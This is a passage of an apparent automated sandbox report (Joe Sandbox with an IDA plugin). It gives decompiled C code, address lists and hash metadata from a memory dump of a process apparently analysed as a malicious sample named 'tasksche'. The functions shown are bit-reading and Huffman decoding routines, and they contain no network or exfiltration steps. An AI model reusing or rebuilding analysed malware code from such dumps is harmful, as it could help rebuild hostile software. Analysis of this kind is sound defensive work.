												__eflags = _t227 -  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4));
												if(_t227 >=  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4))) {
													_t421 = _t420 + 1;
													_a4 = 0xf;
													__eflags = _t421 - 0xf;
													if(_t421 >= 0xf) {
														L88:
														_t338 =  *(_t443 + 4) + _a4;
														 *_t443 =  *_t443 + (_t338 >> 3);
														_t424 = _a4;
														 *(_t443 + 4) = _t338 & 0x00000007;
														_t340 = 0x10;
														_t230 = (_t227 -  *((intOrPtr*)(_t441 + 0x2cf4 + _a4 * 4)) >> _t340 - _a4) +  *((intOrPtr*)(_t441 + 0x2d38 + _t424 * 4));
														__eflags = _t230 -  *((intOrPtr*)(_t441 + 0x2cf4));
														if(_t230 >=  *((intOrPtr*)(_t441 + 0x2cf4))) {
															_t230 = 0;
															__eflags = 0;
														}
														_t231 =  *(_t441 + 0x397c + _t230 * 2) & 0x0000ffff;
														L91:
														__eflags = _t231 - 8;
														if(_t231 >= 8) {
															_t344 = (_t231 >> 2) - 1;
															_v8 = _t344;
															_t236 = ((_t231 & 0x00000003 | 0x00000004) << _t344) + 2;
															_a4 = _t236;
															__eflags = _t344;
															if(_t344 > 0) {
																_t237 = E0040978C(_t443);
																_t347 = 0x10;
																_a4 = _a4 + (_t237 >> _t347 - _v8);
																_t240 =  *(_t443 + 4) + _v8;
																 *_t443 =  *_t443 + (_t240 >> 3);
																_t241 = _t240 & 0x00000007;
																__eflags = _t241;
																 *(_t443 + 4) = _t241;
																_t236 = _a4;
															}
														} else {
															_t236 = _t231 + 2;
														}
														L95:
														_t306[1] = _t236;
														while(1) {
															_t214 =  *_t443;
															__eflags = _t214 - _v12;
															if(_t214 < _v12) {
																goto L15;
															}
															goto L9;
														}
													}
													_t351 = _t441 + 0x2cf8 + _t421 * 4;
													while(1) {
														__eflags = _t227 -  *_t351;
														if(_t227 <  *_t351) {
															break;
														}
														_t421 = _t421 + 1;
														_t351 = _t351 + 4;
														__eflags = _t421 - 0xf;
														if(_t421 < 0xf) {
															continue;
														}
														goto L88;
													}
													_a4 = _t421;
													goto L88;
												}
												_t352 = 0x10;
												_t242 = _t227 >> _t352 - _t420;
												_t355 = ( *(_t242 + _t441 + 0x2d7c) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t355 >> 3);
												 *(_t443 + 4) = _t355 & 0x00000007;
												_t231 =  *(_t441 + 0x317c + _t242 * 2) & 0x0000ffff;
												goto L91;
											}
											 *_t306 = 2;
											while(1) {
												_t214 =  *_t443;
												__eflags = _t214 - _v12;
												if(_t214 < _v12) {
													goto L15;
												}
												goto L9;
											}
										}
										_push( &_v48);
										E00414290(_v32, _t443);
										_t306[1] = _v48 & 0x000000ff;
										_t306[2] = _v44;
										_t358 = 4;
										 *_t306 = _t358;
										_t427 =  *(_t441 + 0x4ad8);
										_t249 = _t427 * 0xc +  *(_t441 + 0x4ad4);
										 *(_t441 + 0x4ad8) = _t427 + 1;
										 *_t249 = _t358;
										_t249[1] = _v36 & 0x000000ff;
										_t249[2] = _v40;
										while(1) {
											_t214 =  *_t443;
											__eflags = _t214 - _v12;
											if(_t214 < _v12) {
												goto L15;
											}
											goto L9;
										}
									}
									_t250 = _t224 + 0xfffffefa;
									__eflags = _t250 - 8;
									if(_t250 >= 8) {
										_t311 = (_t250 >> 2) - 1;
										_v8 = ((_t250 & 0x00000003 | 0x00000004) << _t311) + 2;
										__eflags = _t311;
										if(_t311 > 0) {
											_t288 = E0040978C(_t443);
											_t398 = 0x10;
											_v8 = _v8 + (_t288 >> _t398 - _t311);
											_t291 =  *(_t443 + 4) + _t311;
											 *_t443 =  *_t443 + (_t291 >> 3);
											_t292 = _t291 & 0x00000007;
											__eflags = _t292;
											 *(_t443 + 4) = _t292;
										}
									} else {
										_v8 = _t250 + 2;
									}
									_v24 = _v8;
									_t257 = E0040978C(_t443);
									_t429 =  *(_t441 + 0xfa0);
									_t258 = _t257 & 0x0000fffe;
									__eflags = _t258 -  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4));
									if(_t258 >=  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4))) {
										_t312 = 0xf;
										_t363 = _t429 + 1;
										__eflags = _t363 - _t312;
										if(_t363 >= _t312) {
											L48:
											_t365 =  *(_t443 + 4) + _t312;
											 *(_t443 + 4) = _t365 & 0x00000007;
											 *_t443 =  *_t443 + (_t365 >> 3);
											_t367 = 0x10;
											_t261 = (_t258 -  *((intOrPtr*)(_t441 + 0xf1c + _t312 * 4)) >> _t367 - _t312) +  *((intOrPtr*)(_t441 + 0xf60 + _t312 * 4));
											__eflags = _t261 -  *((intOrPtr*)(_t441 + 0xf1c));
											if(_t261 >=  *((intOrPtr*)(_t441 + 0xf1c))) {
												_t261 = 0;
												__eflags = 0;
											}
											_t262 =  *(_t441 + 0x1ba4 + _t261 * 2) & 0x0000ffff;
											goto L51;
										}
										_t436 = _t441 + 0xf20 + _t363 * 4;
										while(1) {
											__eflags = _t258 -  *_t436;
											if(_t258 <  *_t436) {
												break;
											}
											_t363 = _t363 + 1;
											_t436 = _t436 + 4;
											__eflags = _t363 - 0xf;
											if(_t363 < 0xf) {
												continue;
											}
											goto L48;
										}
										_t312 = _t363;
										goto L48;
									} else {
										_t392 = 0x10;
										_t287 = _t258 >> _t392 - _t429;
										_t395 = ( *(_t287 + _t441 + 0xfa4) & 0x000000ff) +  *(_t443 + 4);
										 *_t443 =  *_t443 + (_t395 >> 3);
										 *(_t443 + 4) = _t395 & 0x00000007;
										_t262 =  *(_t441 + 0x13a4 + _t287 * 2) & 0x0000ffff;
										L51:
										__eflags = _t262 - 4;
										if(_t262 >= 4) {
											_t315 = (_t262 >> 1) - 1;
											_a4 = ((_t262 & 0x00000001 | 0x00000002) << _t315) + 1;
											__eflags = _t315;
											if(_t315 <= 0) {
												L70:
												_t432 = _a4;
												__eflags = _t432 - 0x100;
												if(_t432 <= 0x100) {
													_t370 = _v24;
												} else {
													_t370 = _v8 + 1;
													__eflags = _t432 - 0x2000;
													if(_t432 > 0x2000) {
														_t370 = _t370 + 1;
														__eflags = _t432 - 0x40000;
														if(_t432 > 0x40000) {
															_t370 = _t370 + 1;
														}
													}
												}
												_t267 = _v28;
												 *_t267 = 1;
												_t267[1] = _t370;
												_t267[2] = _t432;
												while(1) {
													_t214 =  *_t443;
													__eflags = _t214 - _v12;
													if(_t214 < _v12) {
														goto L15;
													}
													goto L9;
												}
											}
											__eflags = _t315 - 4;
											if(__eflags < 0) {
												_t268 = E00412AEB(_t443);
												_t373 = 0x20;
												_a4 = _a4 + (_t268 >> _t373 - _t315);
												_t271 =  *(_t443 + 4) + _t315;
												 *_t443 =  *_t443 + (_t271 >> 3);
												_t272 = _t271 & 0x00000007;
												__eflags = _t272;
												 *(_t443 + 4) = _t272;
												goto L70;
											}
											if(__eflags > 0) {
												_t280 = E00412AEB(_t443);
												_t390 = 0x24;
												_a4 = _a4 + (_t280 >> _t390 - _t315 << 4);
												_t320 =  *(_t443 + 4) + _t315 - 4;
												 *_t443 =  *_t443 + (_t320 >> 3);
												_t321 = _t320 & 0x00000007;
												__eflags = _t321;
												 *(_t443 + 4) = _t321;
											}
											_t273 = E0040978C(_t443);
											_t316 =  *(_t441 + 0x1e8c);
											_t274 = _t273 & 0x0000fffe;
											__eflags = _t274 -  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4));
											if(_t274 >=  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4))) {
												_t433 = 0xf;
												_t378 = _t316 + 1;
												__eflags = _t378 - _t433;
												if(_t378 >= _t433) {
													L65:
													_t380 =  *(_t443 + 4) + _t433;
													 *(_t443 + 4) = _t380 & 0x00000007;
													 *_t443 =  *_t443 + (_t380 >> 3);
													_t382 = 0x10;
													_t277 = (_t274 -  *((intOrPtr*)(_t441 + 0x1e08 + _t433 * 4)) >> _t382 - _t433) +  *((intOrPtr*)(_t441 + 0x1e4c + _t433 * 4));
													__eflags = _t277 -  *((intOrPtr*)(_t441 + 0x1e08));
													if(_t277 >=  *((intOrPtr*)(_t441 + 0x1e08))) {
														_t277 = 0;
														__eflags = 0;
													}
													_t278 =  *(_t441 + 0x2a90 + _t277 * 2) & 0x0000ffff;
													goto L68;
												}
												_t319 = _t441 + 0x1e0c + _t378 * 4;
												while(1) {
													__eflags = _t274 -  *_t319;
													if(_t274 <  *_t319) {
														break;
													}
													_t378 = _t378 + 1;
													_t319 = _t319 + 4;
													__eflags = _t378 - 0xf;
													if(_t378 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t433 = _t378;
												goto L65;
											} else {
												_t384 = 0x10;
												_t279 = _t274 >> _t384 - _t316;
												_t387 = ( *(_t279 + _t441 + 0x1e90) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t387 >> 3);
												 *(_t443 + 4) = _t387 & 0x00000007;
												_t278 =  *(_t441 + 0x2290 + _t279 * 2) & 0x0000ffff;
												L68:
												_a4 = _a4 + _t278;
												goto L70;
											}
										}
										_a4 = _t262 + 1;
										goto L70;
									}
								}
								__eflags =  *(_t441 + 0x4ad8) - 1;
								if( *(_t441 + 0x4ad8) <= 1) {
									L34:
									 *_t306 =  *_t306 & 0x00000000;
									_t306[2] = _t224;
									_t236 = 0;
									goto L95;
								}
								__eflags =  *(_t306 - 0xc);
								if( *(_t306 - 0xc) != 0) {
									goto L34;
								}
								_t402 =  *(_t306 - 8) & 0x0000ffff;
								__eflags = _t402 - 3;
								if(_t402 >= 3) {
									goto L34;
								}
								_t403 = _t402 + 1;
								 *(_t306 - 8) = _t403;
								 *((_t403 & 0x0000ffff) + _t306 - 4) = _t224;
								 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) - 1;
								continue;
							}
						}
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						L98:
						return _t214;
					}
				} else {
					 *((char*)(_t441 + 0x2c)) = 1;
					_t302 = E0041462B(__ebx, __ecx, _t441 + 4, _t441 + 0x18, _t441 + 0x30);
					if(_t302 != 0) {
						goto L3;
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						return _t302;
					}
				}
			}

0x00414946
0x0041494d
0x00414954
0x00414957
0x0041497e
0x0041497e
0x00414985
0x0041498a
0x0041498c
0x0041499d
0x004149a4
0x004149a4
0x004149ae
0x004149b1
0x004149b3
0x004149b6
0x004149b9
0x004149bc
0x004149be
0x004149be
0x004149c1
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x004149c9
0x004149c9
0x004149cc
0x00414f03
0x00000000
0x00414f03
0x004149d2
0x004149e0
0x004149e0
0x004149e3
0x004149f2
0x004149f2
0x004149f8
0x00414efc
0x00414efc
0x00000000
0x00414efc
0x00000000
0x004149f8
0x004149e5
0x004149ec
0x00000000
0x00000000
0x00000000
0x004149ec
0x004149d7
0x004149da
0x00000000
0x00000000
0x00000000
0x004149fe
0x004149fe
0x00414a04
0x00414a09
0x00414a0f
0x00414a11
0x00414a13
0x00414a18
0x00414a19
0x00414a1f
0x00414a21
0x00414a28
0x00414a2a
0x00414a2c
0x00414a33
0x00414a33
0x00414a2c
0x00414a38
0x00414a43
0x00414a4c
0x00414a4f
0x00414a55
0x00414a5a
0x00414a60
0x00414a65
0x00414a69
0x00414a94
0x00414a95
0x00414a9c
0x00414a9f
0x00414ab7
0x00414aba
0x00414ac4
0x00414ac6
0x00414acc
0x00414ad3
0x00414ad8
0x00414adc
0x00414adf
0x00414ae1
0x00414ae1
0x00414ae1
0x00414ae3
0x00000000
0x00414ae3
0x00414aa1
0x00414aa5
0x00414aa5
0x00414aa7
0x00000000
0x00000000
0x00414aa9
0x00414aaa
0x00414aad
0x00414ab0
0x00000000
0x00000000
0x00000000
0x00414ab2
0x00414ab4
0x00000000
0x00414a6b
0x00414a6d
0x00414a70
0x00414a7a
0x00414a82
0x00414a87
0x00414a8a
0x00414aeb
0x00414af0
0x00414af2
0x00414b31
0x00414b36
0x00414d8d
0x00414d8f
0x00414de0
0x00414de5
0x00414df9
0x00414dff
0x00414e02
0x00414e07
0x00414e0d
0x00414e12
0x00414e19
0x00414e44
0x00414e45
0x00414e4c
0x00414e4f
0x00414e6a
0x00414e6d
0x00414e77
0x00414e79
0x00414e7f
0x00414e89
0x00414e8e
0x00414e95
0x00414e9b
0x00414e9d
0x00414e9d
0x00414e9d
0x00414e9f
0x00414ea7
0x00414ea7
0x00414eaa
0x00414eb9
0x00414ebf
0x00414ec3
0x00414ec4
0x00414ec7
0x00414ec9
0x00414ecd
0x00414ed4
0x00414eda
0x00414ee0
0x00414ee8
0x00414eea
0x00414eea
0x00414eed
0x00414ef0
0x00414ef0
0x00414eac
0x00414eac
0x00414eac
0x00414ef3
0x00414ef3
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414e51
0x00414e58
0x00414e58
0x00414e5a
0x00000000
0x00000000
0x00414e5c
0x00414e5d
0x00414e60
0x00414e63
0x00000000
0x00000000
0x00000000
0x00414e65
0x00414e67
0x00000000
0x00414e67
0x00414e1d
0x00414e20
0x00414e2a
0x00414e32
0x00414e37
0x00414e3a
0x00000000
0x00414e3a
0x00414de7
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414d97
0x00414d99
0x00414da3
0x00414daa
0x00414daf
0x00414db0
0x00414db2
0x00414dbd
0x00414dc4
0x00414dca
0x00414dd1
0x00414dd8
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414b3c
0x00414b41
0x00414b44
0x00414b56
0x00414b60
0x00414b63
0x00414b65
0x00414b69
0x00414b70
0x00414b75
0x00414b7b
0x00414b82
0x00414b84
0x00414b84
0x00414b87
0x00414b87
0x00414b46
0x00414b49
0x00414b49
0x00414b8f
0x00414b92
0x00414b97
0x00414b9d
0x00414ba2
0x00414ba9
0x00414bd6
0x00414bd7
0x00414bda
0x00414bdc
0x00414bf6
0x00414bf9
0x00414c00
0x00414c06
0x00414c11
0x00414c16
0x00414c1d
0x00414c23
0x00414c25
0x00414c25
0x00414c25
0x00414c27
0x00000000
0x00414c27
0x00414bde
0x00414be5
0x00414be5
0x00414be7
0x00000000
0x00000000
0x00414be9
0x00414bea
0x00414bed
0x00414bf0
0x00000000
0x00000000
0x00000000
0x00414bf2
0x00414bf4
0x00000000
0x00414bab
0x00414bad
0x00414bb0
0x00414bba
0x00414bc2
0x00414bc7
0x00414bca
0x00414c2f
0x00414c2f
0x00414c32
0x00414c44
0x00414c4d
0x00414c50
0x00414c52
0x00414d52
0x00414d52
0x00414d55
0x00414d5b
0x00414d75
0x00414d5d
0x00414d60
0x00414d61
0x00414d67
0x00414d69
0x00414d6a
0x00414d70
0x00414d72
0x00414d72
0x00414d70
0x00414d67
0x00414d78
0x00414d7b
0x00414d81
0x00414d85
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414c58
0x00414c5b
0x00414d31
0x00414d38
0x00414d3d
0x00414d43
0x00414d4a
0x00414d4c
0x00414d4c
0x00414d4f
0x00000000
0x00414d4f
0x00414c61
0x00414c65
0x00414c6c
0x00414c74
0x00414c7a
0x00414c83
0x00414c85
0x00414c85
0x00414c88
0x00414c88
0x00414c8d
0x00414c92
0x00414c98
0x00414c9d
0x00414ca4
0x00414cd1
0x00414cd2
0x00414cd5
0x00414cd7
0x00414cf1
0x00414cf4
0x00414cfb
0x00414d01
0x00414d0c
0x00414d11
0x00414d18
0x00414d1e
0x00414d20
0x00414d20
0x00414d20
0x00414d22
0x00000000
0x00414d22
0x00414cd9
0x00414ce0
0x00414ce0
0x00414ce2
0x00000000
0x00000000
0x00414ce4
0x00414ce5
0x00414ce8
0x00414ceb
0x00000000
0x00000000
0x00000000
0x00414ced
0x00414cef
0x00000000
0x00414ca6
0x00414ca8
0x00414cab
0x00414cb5
0x00414cbd
0x00414cc2
0x00414cc5
0x00414d2a
0x00414d2a
0x00000000
0x00414d2a
0x00414ca4
0x00414c35
0x00000000
0x00414c35
0x00414ba9
0x00414af4
0x00414afb
0x00414b24
0x00414b24
0x00414b27
0x00414b2a
0x00000000
0x00414b2a
0x00414afd
0x00414b01
0x00000000
0x00000000
0x00414b03
0x00414b07
0x00414b0b
0x00000000
0x00000000
0x00414b0d
0x00414b0e
0x00414b15
0x00414b19
0x00000000
0x00414b19
0x00414a69
0x0041498e
0x0041498e
0x00414f04
0x00000000
0x00414f04
0x00414959
0x00414965
0x00414969
0x00414970
0x00000000
0x00414972
0x00414972
0x00000000
0x00414972
0x00414970

APIs

_realloc.LIBCMT ref: 00414A21

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _realloc
String ID:
API String ID: 1750794848-0
Opcode ID: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction ID: 2a1397d1efbb1e156a4ddc1088eaf27e515a490876f5f290c2ff2c2445328417
Opcode Fuzzy Hash: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction Fuzzy Hash: 0B02E5B1A106069BCB1DCF28C5916E9B7E1FF85304F24852ED556CBA85D338F9E1CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00413EE3 Relevance: 1.8, APIs: 1, Instructions: 267
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00413EE3(void* __ecx, unsigned int __edx) {
				signed int _v8;
				signed int _v12;
				char _v32;
				char _v60;
				char _v77;
				char _v137;
				char _v436;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t113;
				char _t119;
				signed int _t124;
				unsigned int _t125;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				intOrPtr _t149;
				signed int _t155;
				signed int _t157;
				signed int _t158;
				signed int _t161;
				signed int _t162;
				void* _t172;
				void* _t173;
				signed int _t185;
				void* _t187;
				intOrPtr* _t189;
				signed int _t198;
				intOrPtr* _t200;
				void* _t201;
				signed int _t204;
				signed int _t210;
				signed int _t211;
				signed int _t219;
				signed int _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t225;
				void* _t226;

				_t209 = __edx;
				_t173 = __ecx;
				_t224 = __ecx + 4;
				if( *_t224 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
					L2:
					E004097BA(_t224,  ~( *(_t173 + 8)) & 0x00000007);
					_t113 = E004097D1(_t224);
					_t230 = _t113 & 0x00008000;
					if((_t113 & 0x00008000) == 0) {
						 *((intOrPtr*)(_t173 + 0xe654)) = 0;
						 *((intOrPtr*)(_t173 + 0x98c8)) = 0;
						 *((intOrPtr*)(_t173 + 0x98cc)) = 0;
						__eflags = _t113 & 0x00004000;
						if((_t113 & 0x00004000) == 0) {
							E0041A820(0, _t173 + 0xe4c0, 0, 0x194);
							_t226 = _t226 + 0xc;
						}
						E004097BA(_t224, 2);
						_v8 = 0;
						do {
							_v12 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							_t119 = _v12;
							__eflags = _t119 - 0xf;
							if(_t119 != 0xf) {
								 *((char*)(_t225 + _v8 - 0x1c)) = _t119;
								goto L16;
							}
							_t219 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							__eflags = _t219;
							if(_t219 != 0) {
								_t221 = _t219 + 2;
								while(1) {
									__eflags = _t221;
									if(_t221 <= 0) {
										break;
									}
									_t221 = _t221 - 1;
									__eflags = _v8 - 0x14;
									if(_v8 >= 0x14) {
										break;
									}
									_t23 =  &_v8;
									 *_t23 = _v8 + 1;
									__eflags =  *_t23;
									 *((char*)(_t225 + _v8 - 0x1c)) = 0;
								}
								_v8 = _v8 - 1;
								goto L16;
							}
							 *((char*)(_t225 + _v8 - 0x1c)) = 0xf;
							L16:
							_v8 = _v8 + 1;
							__eflags = _v8 - 0x14;
						} while (__eflags < 0);
						_t222 = _t173 + 0x3c44;
						E0041284B(__eflags,  &_v32, _t222, 0x14);
						_t37 =  &_v8;
						 *_t37 = _v8 & 0x00000000;
						__eflags =  *_t37;
						do {
							__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78)) - 5;
							if( *_t224 <=  *((intOrPtr*)(_t173 + 0x78)) - 5) {
								L20:
								_t124 = E0040978C(_t224);
								_t210 =  *(_t222 + 0x84);
								_t125 = _t124 & 0x0000fffe;
								__eflags = _t125 -  *((intOrPtr*)(_t222 + 4 + _t210 * 4));
								if(_t125 >=  *((intOrPtr*)(_t222 + 4 + _t210 * 4))) {
									_t211 = _t210 + 1;
									_v12 = 0xf;
									__eflags = _t211 - 0xf;
									if(_t211 >= 0xf) {
										L28:
										_t185 =  *(_t224 + 4) + _v12;
										 *_t224 =  *_t224 + (_t185 >> 3);
										_t209 = _v12;
										 *(_t224 + 4) = _t185 & 0x00000007;
										_t187 = 0x10;
										_t128 = (_t125 -  *((intOrPtr*)(_t222 + _v12 * 4)) >> _t187 - _v12) +  *((intOrPtr*)(_t222 + 0x44 + _t209 * 4));
										__eflags = _t128 -  *_t222;
										if(_t128 >=  *_t222) {
											_t128 = 0;
											__eflags = 0;
										}
										_t129 =  *(_t222 + 0xc88 + _t128 * 2) & 0x0000ffff;
										L31:
										__eflags = _t129 - 0x10;
										if(_t129 >= 0x10) {
											__eflags = _t129 - 0x12;
											_t189 = _t224;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t132 = (E004097D1(_t189) >> 9) + 0xb;
													__eflags = _t132;
													_push(7);
												} else {
													_t132 = (E004097D1(_t189) >> 0xd) + 3;
													_push(3);
												}
												_v12 = _t132;
												E004097BA(_t224);
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														goto L50;
													}
													_v12 = _v12 - 1;
													__eflags = _v8 - 0x194;
													if(_v8 >= 0x194) {
														goto L51;
													}
													_t90 =  &_v8;
													 *_t90 = _v8 + 1;
													__eflags =  *_t90;
													 *((char*)(_t225 + _v8 - 0x1b0)) = 0;
												}
												goto L50;
											}
											__eflags = _t129 - 0x10;
											if(_t129 != 0x10) {
												_t155 = (E004097D1(_t189) >> 9) + 0xb;
												__eflags = _t155;
												_push(7);
											} else {
												_t155 = (E004097D1(_t189) >> 0xd) + 3;
												_push(3);
											}
											_v12 = _t155;
											E004097BA(_t224);
											__eflags = _v8;
											if(_v8 > 0) {
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														break;
													}
													_t157 = _v8;
													_v12 = _v12 - 1;
													__eflags = _t157 - 0x194;
													if(_t157 >= 0x194) {
														goto L51;
													}
													 *((char*)(_t225 + _t157 - 0x1b0)) =  *((intOrPtr*)(_t225 + _t157 - 0x1b1));
													_t158 = _t157 + 1;
													__eflags = _t158;
													_v8 = _t158;
												}
											}
											goto L50;
										}
										_t198 = _v8;
										_t209 =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										 *(_t225 + _t198 - 0x1b0) =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										_v8 = _t198 + 1;
										goto L50;
									}
									_t200 = _t222 + 4 + _t211 * 4;
									while(1) {
										__eflags = _t125 -  *_t200;
										if(_t125 <  *_t200) {
											break;
										}
										_t211 = _t211 + 1;
										_t200 = _t200 + 4;
										__eflags = _t211 - 0xf;
										if(_t211 < 0xf) {
											continue;
										}
										goto L28;
									}
									_v12 = _t211;
									goto L28;
								}
								_t201 = 0x10;
								_t161 = _t125 >> _t201 - _t210;
								_t204 = ( *(_t161 + _t222 + 0x88) & 0x000000ff) +  *(_t224 + 4);
								_t209 = _t204 >> 3;
								 *_t224 =  *_t224 + (_t204 >> 3);
								 *(_t224 + 4) = _t204 & 0x00000007;
								_t129 =  *(_t222 + 0x488 + _t161 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = E0041236D(_t173, _t173, _t209);
							__eflags = _t162;
							if(_t162 == 0) {
								L52:
								_t149 = 0;
								L54:
								return _t149;
							}
							goto L20;
							L50:
							__eflags = _v8 - 0x194;
						} while (_v8 < 0x194);
						L51:
						__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78));
						 *((char*)(_t173 + 0xe658)) = 1;
						if(__eflags <= 0) {
							E0041284B(__eflags,  &_v436, _t173 + 0x94, 0x12b);
							E0041284B(__eflags,  &_v137, _t173 + 0xf80, 0x3c);
							E0041284B(__eflags,  &_v77, _t173 + 0x1e6c, 0x11);
							E0041284B(__eflags,  &_v60, _t173 + 0x2d58, 0x1c);
							_t174 = _t173 + 0xe4c0;
							__eflags = _t173 + 0xe4c0;
							E0041C290(_t173 + 0xe4c0, _t222, _t224, _t174,  &_v436, 0x194);
							_t149 = 1;
							goto L54;
						}
						goto L52;
					}
					 *((intOrPtr*)(_t173 + 0xe654)) = 1;
					return E00413A86(_t173 + 0x98d0, _t209, _t230, _t173, _t173 + 0xe4bc);
				}
				_t172 = E0041236D(__ecx, __ecx, __edx);
				if(_t172 != 0) {
					goto L2;
				}
				return _t172;
			}

0x00413ee3
0x00413eed
0x00413ef3
0x00413efb
0x00413f0a
0x00413f15
0x00413f1c
0x00413f21
0x00413f26
0x00413f4d
0x00413f53
0x00413f59
0x00413f5f
0x00413f64
0x00413f73
0x00413f78
0x00413f78
0x00413f7f
0x00413f84
0x00413f87
0x00413f98
0x00413f9b
0x00413fa0
0x00413fa3
0x00413fa6
0x00413fee
0x00000000
0x00413fee
0x00413fb6
0x00413fb9
0x00413fbe
0x00413fc0
0x00413fcd
0x00413fe2
0x00413fe2
0x00413fe4
0x00000000
0x00000000
0x00413fd0
0x00413fd1
0x00413fd5
0x00000000
0x00000000
0x00413fda
0x00413fda
0x00413fda
0x00413fdd
0x00413fdd
0x00413fe6
0x00000000
0x00413fe6
0x00413fc5
0x00413ff2
0x00413ff2
0x00413ff5
0x00413ff5
0x00413ffd
0x0041400a
0x0041400f
0x0041400f
0x0041400f
0x00414013
0x00414019
0x0041401b
0x0041402c
0x0041402e
0x00414033
0x00414039
0x0041403e
0x00414042
0x0041406d
0x0041406e
0x00414075
0x00414078
0x00414090
0x00414093
0x0041409d
0x0041409f
0x004140a5
0x004140ab
0x004140b0
0x004140b4
0x004140b6
0x004140b8
0x004140b8
0x004140b8
0x004140ba
0x004140c2
0x004140c2
0x004140c5
0x004140e6
0x004140e9
0x004140eb
0x00414147
0x00414160
0x00414160
0x00414163
0x00414149
0x00414151
0x00414154
0x00414154
0x00414167
0x0041416a
0x0041418b
0x0041418b
0x0041418f
0x00000000
0x00000000
0x00414171
0x00414174
0x0041417b
0x00000000
0x00000000
0x00414180
0x00414180
0x00414180
0x00414183
0x00414183
0x00000000
0x0041418b
0x004140ed
0x004140f0
0x00414109
0x00414109
0x0041410c
0x004140f2
0x004140fa
0x004140fd
0x004140fd
0x00414110
0x00414113
0x00414118
0x0041411c
0x0041413f
0x0041413f
0x00414143
0x00000000
0x00000000
0x00414120
0x00414123
0x00414126
0x0041412b
0x00000000
0x00000000
0x00414134
0x0041413b
0x0041413b
0x0041413c
0x0041413c
0x00414145
0x00000000
0x0041411c
0x004140c7
0x004140d3
0x004140d6
0x004140de
0x00000000
0x004140de
0x0041407a
0x0041407e
0x0041407e
0x00414080
0x00000000
0x00000000
0x00414082
0x00414083
0x00414086
0x00414089
0x00000000
0x00000000
0x00000000
0x0041408b
0x0041408d
0x00000000
0x0041408d
0x00414046
0x00414049
0x00414053
0x00414058
0x0041405b
0x00414060
0x00414063
0x00000000
0x00414063
0x0041401f
0x00414024
0x00414026
0x004141ac
0x004141ac
0x00414226
0x00000000
0x00414226
0x00000000
0x00414191
0x00414191
0x00414191
0x0041419e
0x004141a0
0x004141a3
0x004141aa
0x004141c5
0x004141dc
0x004141f0
0x00414204
0x00414215
0x00414215
0x0041421c
0x00414224
0x00000000
0x00414224
0x00000000
0x004141aa
0x00413f36
0x00000000
0x00413f40
0x00413efd
0x00413f04
0x00000000
0x00000000
0x0041422a

APIs

_memset.LIBCMT ref: 00413F73

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

